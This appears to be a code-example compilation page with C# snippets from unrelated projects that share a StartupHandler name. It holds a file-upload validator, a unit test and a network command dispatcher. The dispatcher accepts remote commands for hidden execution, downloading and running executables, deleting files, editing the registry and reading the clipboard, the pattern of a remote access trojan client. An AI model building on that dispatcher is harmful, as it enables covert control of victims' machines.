Esempio n. 1
0
        public ValidationResult ValidateFormImageFile(IFormFile formFile, List <FileExtensions> customFileExtensions = null, List <string> customMimeTypes = null, long customMaxFileSize = 0)
        {
            List <FileExtensions> allowedFileExtensions = customFileExtensions == null ? this.configurationConstants.ImageValidationRules.AllowedFormatExtensionsAsEnum : customFileExtensions;
            List <string>         allowedMimeTypes      = customMimeTypes == null ? this.configurationConstants.ImageValidationRules.AllowedMimeTypes : customMimeTypes;
            long maxAllowedFileSize = customMaxFileSize == 0 ? this.configurationConstants.ImageValidationRules.MaxAllowedFileSize : customMaxFileSize;

            var startupHandler       = new StartupHandler <IFormFile>();
            var fileExtensionHandler = new FileExtensionHandler(allowedFileExtensions);
            var fileMimeTypesHandler = new FileMimeTypesHandler(allowedMimeTypes);
            var fileSizeHandler      = new FileSizeHandler(maxAllowedFileSize);
            var imageBoxingHandler   = new ImageBoxingHandler();

            startupHandler
            .SetNext(fileExtensionHandler)
            .SetNext(fileMimeTypesHandler)
            .SetNext(fileSizeHandler)
            .SetNext(imageBoxingHandler);

            ValidationResult validationResult = new ValidationResult();
            string           resultMessage    = string.Empty;

            validationResult.Success = startupHandler.Handle(formFile, out resultMessage) != null;
            validationResult.Message = resultMessage;
            if (validationResult.Success)
            {
                validationResult.Message = "Image file is valid.";
            }

            return(validationResult);
        }
        /// <inheritdoc/>
        public ValidationResult ValidateFormFile(IFormFile formFile, List <FileExtensions> customFileExtensions = null, List <string> customMimeTypes = null, long customMaxFileSize = 0)
        {
            List <FileExtensions> allowedFileExtensions = customFileExtensions ?? this.allowedFileFormatExtensions;
            List <string>         allowedMimeTypes      = customMimeTypes ?? this.allowedFilesMimeTypes;
            long maxAllowedFileSize = customMaxFileSize == 0 ? this.options.MaxAllowedFileSize : customMaxFileSize;

            var startupHandler       = new StartupHandler <IFormFile>();
            var fileExtensionHandler = new FileExtensionHandler(allowedFileExtensions);
            var fileMimeTypesHandler = new FileMimeTypesHandler(allowedMimeTypes);
            var fileSizeHandler      = new FileSizeHandler(maxAllowedFileSize);

            startupHandler
            .SetNext(fileExtensionHandler)
            .SetNext(fileMimeTypesHandler)
            .SetNext(fileSizeHandler);

            ValidationResult validationResult = new ValidationResult();

            validationResult.Succeeded = startupHandler.Handle(formFile, out var resultMessage) != null;
            validationResult.Message   = resultMessage;
            if (validationResult.Succeeded)
            {
                validationResult.Message = "File is valid.";
            }

            return(validationResult);
        }
Esempio n. 3
0
        public void HandleValidation_ValidWorkflow_SuccessPassing(string text, bool valid, string expectedErrorMessage)
        {
            var startupHandler = new StartupHandler <string>();

            startupHandler
            .SetNext(new LetterHandler())
            .SetNext(new DigitHandler());

            var result = startupHandler.Handle(text, out var errorMessage);

            Assert.Equal(valid, result == text);
            Assert.Equal(expectedErrorMessage, errorMessage);
        }
Esempio n. 4
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }